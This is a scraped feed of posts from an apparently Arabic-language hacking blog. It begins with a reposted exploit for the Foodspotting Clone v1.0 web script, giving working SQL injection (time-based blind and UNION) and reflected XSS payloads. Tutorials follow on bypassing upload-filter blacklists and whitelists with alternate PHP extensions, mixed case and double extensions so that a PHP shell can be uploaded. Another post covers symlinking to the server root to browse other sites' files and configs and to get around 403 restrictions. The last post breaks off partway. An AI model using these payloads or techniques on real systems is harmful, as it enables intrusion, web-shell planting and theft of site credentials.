XSShttps://web0sec.blogspot.com/2017/09/foodspotting-clone-v1.0-sql-injection-reflected-xss-exploit.htmlarticlesnewsnoreply@blogger.com (ElSyad)Tue, 19 Sep 2017 14:14:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2072431559419035037<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6HFrXFksQUviOxrPQxo9SeJkpn-ofaw2CRJTMPbURq1mAvmEE55f7zoMJ9NyROzNicqiteT_s2HO20a5Kaa2RUj4Xkpwny5rvqdTv44U8SQ18OlzTiFfuVdAfIfaRRCT0muGbxH6v5VwH/s1600/56b9cf47bde80f7223d944bc42b21862.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Foodspotting Clone v1.0,Foodspotting Clone v1.0 exploit,Foodspotting Clone v1.0 sql exploit,Foodspotting Clone v1.0 sql injection,Foodspotting Clone v1.0 sql exploit,Foodspotting Clone v1.0 xss,Foodspotting Clone v1.0 xss exploit" border="0" data-original-height="233" data-original-width="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6HFrXFksQUviOxrPQxo9SeJkpn-ofaw2CRJTMPbURq1mAvmEE55f7zoMJ9NyROzNicqiteT_s2HO20a5Kaa2RUj4Xkpwny5rvqdTv44U8SQ18OlzTiFfuVdAfIfaRRCT0muGbxH6v5VwH/s1600/56b9cf47bde80f7223d944bc42b21862.jpg" title="Foodspotting Clone v1.0 Foodspotting Clone v1.0 exploit Foodspotting Clone v1.0 sql exploit Foodspotting Clone v1.0 sql injection Foodspotting Clone v1.0 sql exploit Foodspotting Clone v1.0 xss Foodspotting Clone v1.0 xss exploit" /></a></div> <br /> <br /> # Exploit Title: Foodspotting Clone v1.0 - SQL Injection/Reflected XSS<br /> # Date: 2017-09-13<br /> # Exploit Author: 8bitsec<br /> # Vendor Homepage:&nbsp;<a href="http://www.phpscriptsmall.com/" target="_blank">http://www.phpscriptsmall.com/</a><br /> # Software Link:&nbsp;<a href="http://www.phpscriptsmall.com/product/foodspotting-clone/" target="_blank">http://www.phpscriptsmall.com/product/foodspotting-clone/</a><br /> # Version: 1.0<br /> # Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]<br /> # Email: contact@8bitsec.io<br /> # Contact:&nbsp;<a href="https://twitter.com/_8bitsec" target="_blank">https://twitter.com/_8bitsec</a><br /> &nbsp;<br /> Release Date:<br /> =============<br /> 2017-09-13<br /> &nbsp;<br /> Product &amp; Service Introduction:<br /> ===============================<br /> Foodspotting Clone allows you to initiate your very own social networking website that similar appearance as Foodspotting and additional food lover websites.<br /> &nbsp;<br /> Technical Details &amp; Description:<br /> ================================<br /> &nbsp;<br /> Reflected XSS/SQL injection on [resid] parameter.<br /> &nbsp;<br /> Proof of Concept (PoC):<br /> =======================<br /> &nbsp;<br /> SQLi:<br /> &nbsp;<br /> http://localhost/[path]/restaurant-menu.php?resid=' AND SLEEP(5) AND 'nhSH'='nhSH<br /> &nbsp;<br /> Parameter: resid (GET)<br /> &nbsp; &nbsp; Type: AND/OR time-based blind<br /> &nbsp; &nbsp; Title: MySQL &gt;= 5.0.12 AND time-based blind<br /> &nbsp; &nbsp; Payload: resid=' AND SLEEP(5) AND 'nhSH'='nhSH<br /> &nbsp;<br /> &nbsp; &nbsp; Type: UNION query<br /> &nbsp; &nbsp; Title: Generic UNION query (NULL) - 14 columns<br /> &nbsp; &nbsp; Payload: resid=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x435a72445467737074496d6e5a7855726f6e534c4b6469705774427550576c70676d425361626642,0x71767a6271),NULL,NULL,NULL-- aIwp<br /> &nbsp;<br /> Reflected XSS:<br /> &nbsp;<br /> http://localhost/[path]/restaurant-menu.php?resid=/"&gt;&lt;svg/onload=alert(/8bitsec/)&gt;<br /> ==================<br /> 8bitsec - [<a href="https://twitter.com/_8bitsec" target="_blank">https://twitter.com/_8bitsec</a>]</div> 0:: سلسلة تخطي مراكز الرفع | الجزء الاول - الدرس الثاني في تخطي حماية قائمة الامتدادات السوداء (الممنوعة) ::https://web0sec.blogspot.com/2017/09/explain-bypass-extension-blacklisting-upload-center-security-via-tampering-with-extensions.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sun, 17 Sep 2017 14:32:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-3129579500334970484<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYAAR6i4LcgpPKHmlLXSPK64pAwVhwp94QlUaaRDdARgYsnUH9EpOoLctKo0uXg0lBW9KuK8uIMfORmZKnypup4RfV5XD87pJnlu3rViB06Wa6_gvghqSFxc9DSqi_DApxMer32DAX7U7/s1600/html5-file-upload-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explaination,تخطي,bypass,حماية,security,مراكز,centers,الرفع,uploader,قائمة,الامتدادات,السوداء,او,الممنوعة,extension,blacklisting,عن,طريق,via,التلاعب,tampering,بالامتدادات,extensions" border="0" data-original-height="304" data-original-width="550" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYAAR6i4LcgpPKHmlLXSPK64pAwVhwp94QlUaaRDdARgYsnUH9EpOoLctKo0uXg0lBW9KuK8uIMfORmZKnypup4RfV5XD87pJnlu3rViB06Wa6_gvghqSFxc9DSqi_DApxMer32DAX7U7/s320/html5-file-upload-02.jpg" title="شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات السوداء او الممنوعة extension blacklisting عن طريق via التلاعب tampering بالامتدادات extensions" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <span style="font-family: &quot;times new roman&quot;;"><span style="color: white;">شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات السوداء او الممنوعة extension blacklisting عن طريق via التلاعب tampering بالامتدادات extensions</span></span></div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازاي الحال يا رجالة ؟</div> <div style="text-align: right;"> النهاردة هنتكلم عن تاني طريقة في تخطي حماية مراكز الرفع/التحميل اللي مركبين حماية extension blacklisting او قائمة الامتدادات السوداء (الممنوعة) ان شاء الله</div> <div style="text-align: right;"> في الدرس ده يا رجالة هنشوف مع بعض اني جربت اتخطي الحماية من التلاعب في الامتدادات زي ما شوفنا في الدرس الاول للجزء ده</div> <div style="text-align: right;"> ولكن الطريقة منفعتش وساعتها جربت تاني طريقة وهي التلاعب في وضع الامتدادات بمعني ايه؟</div> <div style="text-align: right;"> ان الامتداد في الوضع الطبيعي بيتكتب زي كده</div> <div style="text-align: right;"> <span style="color: red;">.php, .png, .gif</span></div> <div style="text-align: right;"> الوضع ده الافتراضي للامتدادات يا رجالة زي ما بنشوف في اي حتة بيكون الامتداد علي الوضع ده</div> <div style="text-align: right;"> التلاعب بقي هيكون في شكل الوضع ده يعني مثلا يبقي كده</div> <div style="text-align: right;"> <span style="color: red;">.PhP, .pNG, .GIF</span></div> <div style="text-align: right;"> وصلت الفكرة يا رجالة ... طيب ناس ممكن تسأل ازاي بيتم الحماية دي زي ما وضحتلنا في الدرس الي قبله ؟</div> <div style="text-align: right;"> الفكرة يا رجالة بسيطة واغلب الناس بتستخدم الدالة</div> <div style="text-align: right;"> <span style="color: red;">str_replace();</span></div> <div style="text-align: right;"> الدالة دي ليها وظائف كتيرة اوي ممكن نستخدمها ... بس الاغلبية في مراكز الرفع بيستخدموها عشان في عملية الرفع اذا كان الامتداد تنفيذي يتم منعه او مسحه او حتي تغييره</div> <div style="text-align: right;"> زي ما بنلاقي في بعض الحمايات لما تيجي ترفع php shell بتاعك من مركز الرفع بتاعهم بتلاقي ان الامتداد اتغير او حتي اتمسح منه جزء وغيرها من الطرق</div> <div style="text-align: right;"> كده احنا عرفنا الحماية بتتعمل من ايه وازاي نتخطاها ... وطبعا في دالة تانية احسن من دي بتمنع حكاية التخطي دي تماماً بس نخليها علي بتوع البرمجة بقي :)</div> <div style="text-align: right;"> نيجي بقي للفديو التوضيحي اللي في عملية التخطي دي يا رجالة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <a href="https://up.top4top.net/downloadf-6117ruwa1-rar.html" target="_blank">https://up.top4top.net/downloadf-6117ruwa1-rar.html</a></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> اي استفسار يا رجالة او تعقيب بخصوص اي حاجة في الدرس احنا في الخدمة</div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> </div> 0:: سلسلة تخطي مراكز الرفع | الجزء الاول - الدرس الاول في تخطي حماية قائمة الامتدادات السوداء (الممنوعة) ::https://web0sec.blogspot.com/2017/09/explain-bypass-extension-blacklisting-upload-center-security-via-try-other-executable-extensions.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Sat, 16 Sep 2017 06:49:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-7366174043321858889<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> </div> <div style="-webkit-text-stroke-width: 0px; color: black; font-family: &quot;Times New Roman&quot;; font-size: medium; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: right; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"> </div> <br /> <div style="-webkit-text-stroke-width: 0px; color: black; font-family: &quot;Times New Roman&quot;; font-size: medium; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: right; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"> <div style="-webkit-text-stroke-width: 0px; color: black; font-family: &quot;Times New Roman&quot;; font-size: medium; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: right; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"> <div style="margin: 0px;"> <span style="color: white;">شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات السوداء او الممنوعة extension blacklisting عن طريق via اضافة add امتداد extension جديد new</span></div> <div style="margin: 0px;"> <span style="color: white;"><br /></span></div> </div> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYAAR6i4LcgpPKHmlLXSPK64pAwVhwp94QlUaaRDdARgYsnUH9EpOoLctKo0uXg0lBW9KuK8uIMfORmZKnypup4RfV5XD87pJnlu3rViB06Wa6_gvghqSFxc9DSqi_DApxMer32DAX7U7/s1600/html5-file-upload-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explaination,تخطي,bypass,حماية,security,مراكز,centers,الرفع,uploader,قائمة,الامتدادات,السوداء,او,الممنوعة,extension,blacklisting,عن,طريق,via,اضافة,add,امتداد,extension,جديد,new" border="0" data-original-height="304" data-original-width="550" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglYAAR6i4LcgpPKHmlLXSPK64pAwVhwp94QlUaaRDdARgYsnUH9EpOoLctKo0uXg0lBW9KuK8uIMfORmZKnypup4RfV5XD87pJnlu3rViB06Wa6_gvghqSFxc9DSqi_DApxMer32DAX7U7/s320/html5-file-upload-02.jpg" title="شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات السوداء او الممنوعة extension blacklisting عن طريق via اضافة add امتداد extension جديد new" width="320" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> </div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازاى الحال يا رجالة</div> <div style="text-align: right;"> النهاردة هنبتدي مع اول درس من سلسلة دروس تخطي حمايات مراكز الرفع ان شاء الله</div> <div style="text-align: right;"> طبعا طرق او حمايات مراكز الرفع ليها اكتر من طريقة والحمد لله لكل حماية اكتر من طريقة للتخطي برضو ههه</div> <div style="text-align: right;"> انا هحاول اطبق على كل الطرق ان شاء الله لو قدرت طبعا</div> <div style="text-align: right;"> هنتكلم النهاردة عن اول طريقة وهي حماية extension blacklisting الي هي قائمة الامتدادات السوداء (الممنوعة)</div> <div style="text-align: right;"> الحماية دي ممكن نعملها باكتر من طريقة بس انا هتكلم على بعض الدوال الى بنستخدمها فى الحماية دي زي مثلا</div> <div style="text-align: right;"> <span style="color: red;">in_array(), array_search(), array_values(), etc...</span></div> <div style="text-align: right;"> وظيفة الدوال دي هي البحث عن قيم بنحددها داخلها للبحث عنها اذا كانت موجودة او لا ... بالتالي اذا كان القيمة موجودة ممكن نحذفها او نحط رسالة معينة</div> <div style="text-align: right;"> زي مثلا يعني انا هحط امثلة علي الدوال دي عشان تبقي واضحه للجميع</div> <div style="text-align: right;"> مثال علي الدالة in_array<br /> <br /></div> <div style="text-align: right;"> <blockquote class="tr_bq"> &lt;?php<br /> $x = array(".php", ".pl", ".py", ".cgi");<br /> <span style="white-space: pre;"> </span>if (!in_array($x)) {<br /> <span style="white-space: pre;"> </span>echo "Valid extension";<br /> <span style="white-space: pre;"> </span>} else {<br /> <span style="white-space: pre;"> </span>echo "Invalid Extension";<br /> <span style="white-space: pre;"> </span>}</blockquote> </div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> نفس الكلام علي الدالة array_search او الدالة array_values تقدر تبحث عنهم او تقرأ عنهم في موقع php.net</div> <div style="text-align: right;"> الطرق بتختلف طبعا في كتابة الكود او الشرط اللي انت عاوز تحققه</div> <div style="text-align: right;"> تمام لحد كده يا رجالة وفيه طرق كتير ة لتخطي هذه الحماية هحاول اشرحها ان شاء الله</div> <div style="text-align: right;"> ازاي بيتم التلاعب في الامتدادات ده بيتم من خلال اي اضافة (Add-on) او اداة بتسمح لنا التعديل علي الطلبات requests المرسلة للسيرفر وفي منهم كتير جدا زي مثلا</div> <div style="text-align: right;"> اضافات<span style="color: red;"> tamper data, live http headers, modify headers </span>وغيرهم</div> <div style="text-align: right;"> اداوات زي<span style="color: red;"> burp suit, fiddler, zap proxy </span>وغيرهم</div> <div style="text-align: right;"> نبتدي باول طريقة في تخطي هذه الحماية وهي من خلال التلاعب في الامتدادات للملف اللي بنحاول نرفعه وهو (uploader) بسيط عشان اقدر ارفع منه php shell بعد كده</div> <div style="text-align: right;"> يعني انا هفضل اخمن عليه امتدادات تنفيذية تانية للغة php ودي كتيرة وبتشتغل زي مثلا</div> <div style="text-align: right;"> <span style="color: red;">.php, .php1, .php2, .php3, .php4, .php5, .php7, .phps, .phtml</span></div> <div style="text-align: right;"> ممكن رقم 1 ورقم 2 ميشتغلوش معاك بس الباقي اكيد هيشتغل لان دي الامتدادات التنفيذية المتاحة للغة php</div> <div style="text-align: right;"> حلو اوي لحد كده نشوف بقي الفديو التوضيحي للعملية دي وازاي نتلاعب في الامتدادات</div> <div style="text-align: right;"> التحميل علي الرابط التالي</div> <div style="text-align: right;"> <a href="https://up.top4top.net/downloadf-6082opyc1-rar.html" target="_blank">https://up.top4top.net/downloadf-6082opyc1-rar.html</a><br /> <br /></div> <div style="text-align: right;"> اي استفسار او اضافة علي الدرس اهلا بيها</div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> </div> 0شرح عمل اختصار للجذر و تخطي حماية فوربدن و تخطي حماية تصريح الرووتhttps://web0sec.blogspot.com/2017/09/explain-making-root-symlink-and-bypass-forbidden-403-security-and-root-permissions-security.htmlserversservers-hacknoreply@blogger.com (ElSyad)Thu, 14 Sep 2017 14:26:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-7809492658956200968<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtLaCDtBeJF-PTGynkjMPM6-p0glMwhMYXWcLgWBI6lXZP9PQvaWxqMspGJGVuyNioOqWqQpLn0mLLV8H3_m9V8RQCRyrGK3Gb5ekDC4uvtHku_n4kwzFqdpTS4-Zu3UlsDnHw4-4B5no/s1600/403-Forbidden_thumb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,عمل,making,اختصار,symlink,للجذر,to,root,و,and,تخطي,bypass,فوربدن,forbidden,و,and,تصريح,الرووت,root,permissions" border="0" data-original-height="124" data-original-width="383" height="103" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtLaCDtBeJF-PTGynkjMPM6-p0glMwhMYXWcLgWBI6lXZP9PQvaWxqMspGJGVuyNioOqWqQpLn0mLLV8H3_m9V8RQCRyrGK3Gb5ekDC4uvtHku_n4kwzFqdpTS4-Zu3UlsDnHw4-4B5no/s320/403-Forbidden_thumb.png" title="شرح explain عمل making اختصار symlink للجذر to root و and تخطي bypass فوربدن forbidden و and تصريح الرووت root permissions" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: white;">شرح explain عمل making اختصار symlink للجذر to root و and تخطي bypass فوربدن forbidden و and تصريح الرووت root permissions</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازاى الحال يا شباب؟</div> <div style="text-align: right;"> موضوعنا النهاردة هنتكلم فيه عن كيفية عمل اختصار للجذر "/" وتخطى مشكلة تصريح الرووت فقط ومشكلة عدم التصريح "<span style="color: red;">Forbidden 403</span>" وغيرها ان شاء الله</div> <div style="text-align: right;"> فى اغلب السيرفرات حالياً لما نيجى ننفذ امر عمل اختصار للجذر اللى هو</div> <div style="text-align: right;"> <span style="color: red;">ln -s / 1.txt</span></div> <div style="text-align: right;"> <span style="color: red;">ln -s / root</span></div> <div style="text-align: right;"> بيظهر لنا تصريح الرووت فقط اللى هو على الشكل التالى ويكون لونه احمر</div> <div style="text-align: right;"> <span style="color: red;">---------u</span></div> <div style="text-align: right;"> هنعرف ازاى نتخطى المشكلة دى فى الشرح ان شاء الله وهو "عمل اختصار للجذر بالطريقة اليدوية" الموجودة بالشرح يا رجالة</div> <div style="text-align: right;"> مشاكل الفروبدن او عدم وجود التصريح دى ليها تخطيات كتيرة جدا ان شاء الله نشرحها واحدة واحدة</div> <div style="text-align: right;"> احنا هنبتدى بالطريقة الاكثر فعالية وهيا من خلال rules نقوم بادخالها فى ملف الهاتكس "htaccess"</div> <div style="text-align: right;"> نيجى لتعريف بعض المصطلحات المهمة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">ثغرة "Bug" ؟</span></div> <div style="text-align: right;"> هيا خطا برمجى بيقع فيه المبرمج عند كتابة البرنامج او الكود البرمجى للسكربت ومنها ممكن يتم اختراق الموقع او السيرفر كله على حسب نوع الثغرة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">شل "Shell" ؟</span></div> <div style="text-align: right;"> هو ملف مبرمج بلغة php ويمكن برمجته بـ لغات مختلفة تانية زى Perl, Python, Bash</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">وظيفة الشل ؟</span></div> <div style="text-align: right;"> هو اداة مساعدة ليك فى تنفيذ اوامرك على السيرفر, نقدر نقول عليه Command Interpreter لتنفيذ اوامرك من عليه وفيه File Manager يمكنك من التنقل داخل ملفات ومجلدات الموقع</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">سيرفر "Server" ؟</span></div> <div style="text-align: right;"> هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">سكربت "Script" ؟</span></div> <div style="text-align: right;"> هو نص برمجى مكتوب بلغة برمجة من نوع Scripting Language زى لغة Php, Asp, Perl, Python وغيرهم اغلب استخدامه فى تطوير وتصميم الموقع وليه استخدامات كتيرة على حسب الكود البرمجى</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">مستخدم "User" ؟</span></div> <div style="text-align: right;"> هو مدير الموقع, هذه الصلاحية تعطيك الحق فى التحكم الكامل على الموقع اللى انت رافع عليه الشل ولا يمكنك التنقل داخل السيرفر الا فى بعض الحالات</div> <div style="text-align: right;"> التى يمكن تخطيها, اسم المستخدم متغير وايضا رقم المجموعة المنتمى اليها كمثال</div> <div style="text-align: right;"> <span style="color: red;">uid=1000(elsyad) gid=1000(elsyad) groups=1000(elsyad)</span></div> <div style="text-align: right;"> هنا اسم المستخدم هو elsyad وهو متغير وليس ثابت والارقام متغيرة ايضا وليست ثابتة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">ممنوع "Forbidden" ؟</span></div> <div style="text-align: right;"> هو خطأ يتم اظهاره عندما يتم الطلب من العميل او الزائر الدخول او التصفح لمسار او مجلد او موارد معينة, فى طبيعة الحال ان الويب سيرفر بيفهم الطلب ولكن بيرفض او بيمنع تنفيذه</div> <div style="text-align: right;"> ويب السيرفر "Apache, IIS" بيقوم بعرض الرسالة دى لما بيتم تعطيل عرض المجلدات فى المتصفح وفى حالة تطابق العنوان المطلوب مع مسار مجلدات نظام الملفات</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">الوضع الامن "Safe Mode" ؟</span></div> <div style="text-align: right;"> هيا خاصية (حماية) بيتم تفعيلها من خلال Root داخل PHP Interpreter والملف المسؤول هو php.ini , وظيفتها هيا منع تشغيل اى سكربت او اداة يسبب اى خطورة على السيرفر وفى بعض الاحيان بيتم تعطيل Command Line بسببها ولا يظهر</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">الدوال المعطلة "Disabled Functions" ؟</span></div> <div style="text-align: right;"> هيا خاصية (حماية) والبعض يطلق عليها الدوال الممنوعة بيتم تفعيلها من خلال Root داخل PHP Interpreter والملف المسؤول هو php.ini , وظيفتها هيا منع الدوال اللتى تسبب خطورة على السيرفر مثلا symlink,system,shell_exec,passthru, والى ما اخره من الدوال المعروفة واللتى تسبب خطورة عند تفعيلها داخل السيرفر</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> نرجع لشرحنا يا رجالة الكثير من الناس يقوم بعمل سحب لـ كونفجات المواقع الموجودة على السيرفر ويواجه المشاكل الكثيرة</div> <div style="text-align: right;"> من الافضل دايما هو عمل اختصار للجذر واللى يسمى بـ "نص رووت" بيسمحلك بالتنقل داخل ملفات ومجلدات المستخدمين الموجودين على السيرفر</div> <div style="text-align: right;"> <span style="color: red;">نيجى لتحميل الشرح الفديو الخاص بالدرس للتحميل على مركز Top4top</span></div> <div style="text-align: right;"> <a href="http://up.top4top.net/downloadf-top4top_e6045b4e031-rar.html" target="_blank">http://up.top4top.net/downloadf-top4top_e6045b4e031-rar.html</a><br /> <br /> رابط اخر اضافى على مركز ziddu</div> <div style="text-align: right;"> <a href="http://downloads.ziddu.com/download/24471191/mAke-syMlink-fOr-serVer--BypAss-fOrbiddeN.rar.html" target="_blank">http://downloads.ziddu.com/download/24471191/mAke-syMlink-fOr-serVer--BypAss-fOrbiddeN.rar.html</a><br /> <br /> اى استفسار او اضافة اهلا بيها يا رجالة</div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> </div> 0:: سلسلة تخطي مراكز الرفع | الجزء الثاني - الدرس الاول في تخطي حماية قائمة الامتدادات البيضاء (المسموحة) ::https://web0sec.blogspot.com/2017/09/explaination-how-to-bypass-extension-whitelisting-upload-center-security-via-double-extension-method.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Tue, 12 Sep 2017 11:55:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-6908912610286697950<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <span style="color: white;">شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات البيضاء او المسموحة extension whitelisting عن طريق via اضافة add امتداد extension جديد new</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGEPP2eaqS-sI2Nhy-h2P8CeRYW45F1S2MwATG0Jaon35NBu9-LPiOuMDytY0i0HQeZ6L_YjOmaZdUYNUzS56WSlfHfGFpnKnU6nmWeenqlWAz5MI_6Z9cJVosIQNuDoBfbX5Yma6KwmPJ/s1600/html5-file-upload-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explaination,تخطي,bypass,حماية,security,مراكز,centers,الرفع,uploader,قائمة,الامتدادات,البيضاء,او,المسموحة,extension,whitelisting,عن,طريق,via,اضافة,add,امتداد,extension,جديد,new" border="0" data-original-height="304" data-original-width="550" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGEPP2eaqS-sI2Nhy-h2P8CeRYW45F1S2MwATG0Jaon35NBu9-LPiOuMDytY0i0HQeZ6L_YjOmaZdUYNUzS56WSlfHfGFpnKnU6nmWeenqlWAz5MI_6Z9cJVosIQNuDoBfbX5Yma6KwmPJ/s320/html5-file-upload-02.jpg" title="شرح explaination تخطي bypass حماية security مراكز centers الرفع uploader قائمة الامتدادات البيضاء او المسموحة extension whitelisting عن طريق via اضافة add امتداد extension جديد new" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> السلام عليكم<br /> ازاي الحال ؟<br /> النهاردة يا رجالة هنتكلم عن الدرس الثالث من سلسلة تخطي الحمايات واللي هنتكلم فيه النهاردة عن حماية تانية اللي هي<span style="color: red;"> extension whitelisting</span> او بالعربي قائمة الامتدادات البيضاء (المسموحة)<br /> الطريقة اللي هنتكلم عليها النهاردة منقدرش نلوم فيها المبرمج يا جماعة لانها بتعتمد علي الويب سيرفر اللي شغال عليه السكربت او بمعني اوضح نظام التشغيل اللي الويب سيرفر شغال عليه<br /> طيب ليه بقول كده لان في الطريقة دي هنستخدم علامات زي دي<br /> <span style="color: red;">file.php.gif, file.php:.gif, file.php;.gif</span><br /> بالتالي هي عملية خداع للويب سيرفر اكتر من انها بتخدع السكربت نفسه لان العلامة الاخيرة هو عبارة عن معامل and في لغة php البرمجية برضو<br /> بس الغباء بيكون من المبرمج انه مش بيمنع او حتي اسماء الملفات متتغيرش لما بتترفع<br /> جميل اوي لحد كده اظن احنا مش محتاجين نشرح اساسيات لاني شرحت الاساسيات في كل الدروس اللي شرحتها قبل كده :)<br /> عشان مطولش عليكوا يا رجالة التحميل علي الرابط التالي<br /> <a href="https://up.top4top.net/downloadf-6204tsx21-rar.html" target="_blank">https://up.top4top.net/downloadf-6204tsx21-rar.html</a><br /> <br /> واي استفسار او تعقيب بخصوص الشرح انا موجود ان شاء الله وفي خدمتكم<br /> موفقين ~<br /> <span style="color: red; font-size: large;">الصياد /.</span></div> </div> 0شرح تخطي حماية No Input File Specified بعد عمل اختصار للجذرhttps://web0sec.blogspot.com/2017/09/explanation-bypass-no-input-file-specified-security-after-making-symlink-to-root.htmlserversservers-hacknoreply@blogger.com (ElSyad)Sun, 10 Sep 2017 04:54:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2009451438810138968<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqd0ena_ldkPxUJQ6H5PBt8U6_LuiNVil_F4BEJKW1ETdNIPy0eSrOdYTfUm5p_G18pmdQcDU6HcZXUTK2LsHk46VfwLfJSMNDmhyphenhyphenw-dJRz5Ba4jNmKxcTNMMZnvDT4vAJnkd2uLQPGIpx/s1600/No-input-file-specified.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explaination,تخطي,bypass,حماية,security,لم,يتم,تحديد,ملف,الادخال,no,input,file,specified,لا,يوجد,ملف,ادخال,محدد,no,input,file,specified,بعد,after,عمل,making,اختصار,symlink,للجذر,to,root" border="0" data-original-height="280" data-original-width="480" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqd0ena_ldkPxUJQ6H5PBt8U6_LuiNVil_F4BEJKW1ETdNIPy0eSrOdYTfUm5p_G18pmdQcDU6HcZXUTK2LsHk46VfwLfJSMNDmhyphenhyphenw-dJRz5Ba4jNmKxcTNMMZnvDT4vAJnkd2uLQPGIpx/s320/No-input-file-specified.png" title="شرح explaination تخطي bypass حماية security لم يتم تحديد ملف الادخال no input file specified لا يوجد ملف ادخال محدد no input file specified بعد after عمل making اختصار symlink للجذر to root" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: white;">شرح explaination تخطي bypass حماية security لم يتم تحديد ملف الادخال no input file specified لا يوجد ملف ادخال محدد no input file specified بعد after عمل making اختصار symlink للجذر to root</span></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> السلام 